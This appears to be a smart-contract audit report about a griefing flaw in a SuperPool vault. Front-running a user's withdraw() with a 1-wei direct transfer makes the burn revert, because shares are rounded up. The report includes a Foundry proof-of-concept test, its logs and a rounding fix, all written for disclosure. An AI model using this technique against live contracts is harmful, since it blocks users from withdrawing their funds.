Anyone can revert a withdrawal by sending 1 wei unit of ASSET to SuperPool contract with fron-run

Summary

The SuperPool contract accepts direct token transfer to itself, it normal behavior, but anyone can revert a valid withdrawal transaction by sending minimum unit of ASSET (wei) to the SuperPool contract using front-run attack.

Internal pre-conditions

There is no such internal pre-conditions but we will have to initialize 3 storage variable in SuperPool contract to easily understand the bug. Declare these 3 variables:

```
uint public _share;     // to catch the 'share' in `_withdraw()`
uint public lta2;          // to catch the lastTotalAssets in `withdraw()`
uint public ts2;           // to catch the totalSupply in `withdraw()`
```

We have declared lta2 & ts2 to catch above mentioned values just before _withdraw() call inside withdraw(). So, now edit the withdraw() like this:

```
function withdraw(uint256 assets, address receiver, address owner) public
nonReentrant returns (uint256 shares) {
    accrue();
+     lta2 = lastTotalAssets;
+    ts2 = totalSupply();
    shares = _convertToShares(assets, lastTotalAssets, totalSupply(),
Math.Rounding.Up);
    if (shares == 0) revert SuperPool_ZeroShareWithdraw(address(this),
assets);
    _withdraw(receiver, owner, assets, shares);
  }
```

and edit the withdraw() like this:

```
function _withdraw(address receiver, address owner, uint256 assets, uint256
shares) internal {
    _withdrawFromPools(assets);
    if (msg.sender != owner) ERC20._spendAllowance(owner, msg.sender,
shares);
+     _share = shares;
    ERC20._burn(owner, shares);
    lastTotalAssets -= assets;
    ASSET.safeTransfer(receiver, assets);
```

```
      emit Withdraw(msg.sender, receiver, owner, assets, shares);
    }
```

External pre-conditions

External precondition is that any one need to front-run the user's withdraw() call by sending 1 wei of ASSET directly to the SuperPool.sol contract.

Attack Path

Suppose Bob is the innocent user, as usual & Alice is the attacker.

1. Bob deposited 100 ether of ASSET to the pool.
2. After 10 days Bob wants to withdraw his assets so he called withdraw() with necessary arguments. The transaction is now in mempool.
3. Alice saw that transaction and front-run the Bob's transaction by sending 1 wei of ASSET to the SuperPool contract using transfer() method.
4. Now Bob's transaction executed & reverts.

Impact

User's withdrawal will fail.

POC

```
    function test_isItBug() public {
      vm.startPrank(poolOwner);
      superPool.addPool(linearRatePool, 1000 ether);
      vm.stopPrank();
      address Alice = makeAddr("Alice");
      asset1.mint(Alice, 10 ether);
      vm.prank(Alice);
      asset1.transfer(address(superPool), 1);        //@audit Alice directly
transferring 1 wei of ASSET to SuperPool contract
      vm.startPrank(user);
      asset1.mint(user, 100 ether);
      console2.log("Asset in pool: ", asset1.balanceOf(address(superPool)));
      asset1.approve(address(superPool), 100 ether);
      uint256 shares = superPool.deposit(100 ether, user);
      console2.log('Shares: ', shares);
      skip(10 days);
      superPool.withdraw(100 ether, user, user);
      console2.log("lastTotalAssets:", superPool.lta2());
      console2.log("totalSupply(): ", superPool.ts2());
      console2.log("_Shares: ", superPool._share());
      vm.stopPrank();
    }
```

Run this test in SuperPool.t.sol contract, the transaction will be reverted by this:

```
Ran 1 test for test/core/Superpool.t.sol:SuperPoolUnitTests
[FAIL. Reason: revert: ERC20: burn amount exceeds balance] test_isItBug()
(gas: 609612)
Logs:
  Asset in pool:  100001
  Shares:  99999000019999600007

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 6.41ms
(732.87µs CPU time)
```

Now comment out this line and run the test again, you will see this output:

```
Ran 1 test for test/core/Superpool.t.sol:SuperPoolUnitTests
[PASS] test_isItBug() (gas: 571732)
Logs:
  Asset in pool:  100001
  Shares:  99999000019999600007
  lastTotalAssets: 100000000000000100001
  totalSupply():  99999000019999700007
  _Shares:  99999000019999600008

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.16ms
(897.00µs CPU time)
```

Here, notice one thing, as I mentioned in preconditions, the _share variable is holding the share's value in _withdraw(), which was passed by withdraw(), here the share amount is different than share received by user, the user received 99999000019999600007 as share but withdraw() passed 99999000019999600008 as share, why? because in withdraw() the _convertToShares() returned 99999000019999600008 as share. So now question is - why the share was increased by 1? Lets investigate what happened in _convertToShares(): If you follow the preconditions section I have added 2 storage variables just before _convertToShares() call in withdraw() - lta2 & ts2. The arguments of _convertToShares() are like this:

```
shares = _convertToShares(assets, lastTotalAssets, totalSupply(),
Math.Rounding.Up);
```

the lta2 is lastTotalAssets & ts2 is totalSupply(). In _convertToShares() the Math::mulDiv() is called like this:

```
shares = _assets.mulDiv(_totalShares + 1, _totalAssets + 1, _rounding);
```

Where _totalAssets is lastTotalAssets i.e lta2 & _totalShares is totalSupply() i.e ts2. Now, if you implement the mulDiv() in chisel, without the _rounding, then you will get this output:

```
➜ mulDiv(100 ether, 99999000019999700008, 100000000000000100002)
Type: uint256
├ Hex: 0x56bc3d0b3665b2d87
├ Hex (full word): 0x56bc3d0b3665b2d87
└ Decimal: 99999000019999600007
```

The returned amount is share of the user, it is same as the user has received after depositing, but why the _convertToShares() was returning the share by incrementing 1? This is because it is rounding up, for that reason at the time of burning the share the contract considering the incremented value, not the value which the user actually got after depositing. So using this the attacker, in this PoC Alice, could front-run the withdrawal call and made it revert. Now if you uncoment this line, and use Math.Rounding.Down instead of Math.Rounding.Up & run the test again the test will execute successfully, the output will be this in this case:

```
Ran 1 test for test/core/Superpool.t.sol:SuperPoolUnitTests
[PASS] test_isItBug() (gas: 551427)
Logs:
  Asset in pool:  100001
  Shares:  99999000019999600007
  lastTotalAssets: 100000000000000100001
  totalSupply():  99999000019999700007
  _Shares:  99999000019999600007

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.71ms
(775.65µs CPU time)
```

Mitigation

Calling the _convertToShare(), in SuperPool::withdraw(), with Math.Rounding.Down instead of Math.Rounding.Up can solve this issue.